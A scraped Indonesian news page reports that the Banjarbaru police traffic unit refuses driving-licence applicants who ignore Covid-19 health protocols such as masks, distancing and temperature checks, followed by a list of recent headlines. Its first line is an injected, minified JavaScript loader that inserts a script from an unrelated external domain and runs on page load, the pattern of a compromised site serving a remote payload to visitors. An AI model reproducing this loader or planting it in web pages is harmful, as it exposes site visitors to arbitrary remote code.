(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarbaru

Layanan SIM di Polres Banjarbaru Tolak Pemohon yang Tak Ikuti Protokol Covid-19


KANALKALIMANTAN.COM, BANJARBARU – Satuan Lalu Lintas (Satlantas) Polres Banjarbaru memperketat kunjungan masyarakat yang mengurus permohonan pembuatan SIM di Mapolres Banjarbaru. Apabila ada yang tidak menerapkan protokol kesehatan, maka akan ditolak.

Sejak merebaknya pandemi Covid-19, kunjungan di layanan SIM Mapolres Banjarbaru memang turun. Tidak seperti sebelumnyayang padat oleh masyarakat yang mengurus pembuatan SIM baru ataupun sekedar perpanjangan masa berlaku saja.

Seiring berjalannya waktu, tepatnya saat penerapan Pembatasan Sosial Berskapa Besar (PSBB) di Banjarbaru berakhir, kunjungan masyarakat mulai meningkat. Situasi inilah yang membuat Satlantas Polres Banjarbaru mengambil sikap tegas dalam teknis pelayanan SIM.

Kasatlantas Polres Banjarbaru, AKP Apriansyah melalui Baur SIM, Aiptu I Putu Sudhiwirawan, mengatakan, masyarakat yang ingin mengurus SIM wajib mengikuti protokol Covid-19. Contohnya, penggunaan masker, physical distancing, dan mencuci tangan.

“Suhu badan tidak melebihi batas normal. Kalau ada salah satu prokol kesehatan ini tidak diikuti, maka kita tegas menolak permohonan masyarakat,” katanya.

Ditegaskan Aiptu Putu, meskipun PSBB telah dicabut, protokol kesehatan harus dan wajib diberlakukan. Pasalnya, upaya penanganan baru bertajuk New Normal -normal yang baru- menekamkan pada pendisiplinan perlikau masyarakat. “Kita ingin masyarakat disipilin dan mengikuti prokol kesehatan. Aktivitas dan perilaku masyarakat, mulai hari ini harus diarahkan baik itu di fasilitas pelayanan maupun di tempat-tempat keramaian,” ujarnya.

Teknis pelayanan SIM di Mapolres Banjarbaru sendiri juga telah mengalami berbagai perubahan, sesuai dengan protokol kesehatan. Misalnya, terdapat kaca pembatas antara petugas pelayanan dan pemohon. Termasuk para petugas pelayanan sendiri yang mengenakan sarung tangan dan masker.

Khusus untuk pengambilan foto dan sidik jari, sebagai syarat pembuatan SIM, petugas juga menggunakan face shield (pelindung wajah). Selain itu, jam operasional layanan SIM di Mapolres Banjarbaru hanya buka dari pukul 09.00 sampai dengan pukul 13.00 Wita. (Kanalkalimantan.com/rico)

 

Reporter : Rico
Editor : Cell

 


Desy Arfianty

Recent Posts

Lepas Keberangkatan 320 Calon Haji, Ini Pesan Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Bagian dalam dan luar halaman Mahligai Sultan Adam di Jalan A Yani… Read More

50 menit ago

Hari Ini Masuk Asrama Haji, Kloter 1 Embarkasi Banjarmasin Berangkat Minggu

KANALKALIMANTAN.COM, BANJARBARU - Jelang kedatangan rombongan jemaah Haji Embarkasi Banjarmasin Kloter 1, Sabtu (11/5/2024), Petugas… Read More

57 menit ago

Paman Birin Trophy VII 2024 Digelar 15 Hari di Murdjani

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan H Sahbirin Noor membuka secara resmi Paman Birin Trophy… Read More

3 jam ago

Karst Sangkulirang-Mangkalihat dan Delta Mahakam, Bentang Alam yang Terancam Eksploitasi

KANALKALIMANTAN.COM, SAMARINDA - Akademisi Teknik Geologi Universitas Muhammadiyah Kalimantan Timur (UMKT) Syamsidar Sutan Malim Polawan… Read More

3 jam ago

Kunker DPRD Kapuas Perkaya Referensi Raperda Bangunan Gedung

KANALKALIMANTAN.COM, KUALA KAPUAS – Panitia Khusus (Pansus) I Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas… Read More

16 jam ago

Haul Dua Wali Allah di Cempaka yang Sangat Dermawan dan Hidup Sederhana

KANALKALIMANTAN.COM, BANJARBARU - Haul Syarifah Badrun Al Qadiri Al Hasani bin Sayyid Yusuf Al-Qadiri Al-Hasani… Read More

19 jam ago

This website uses cookies.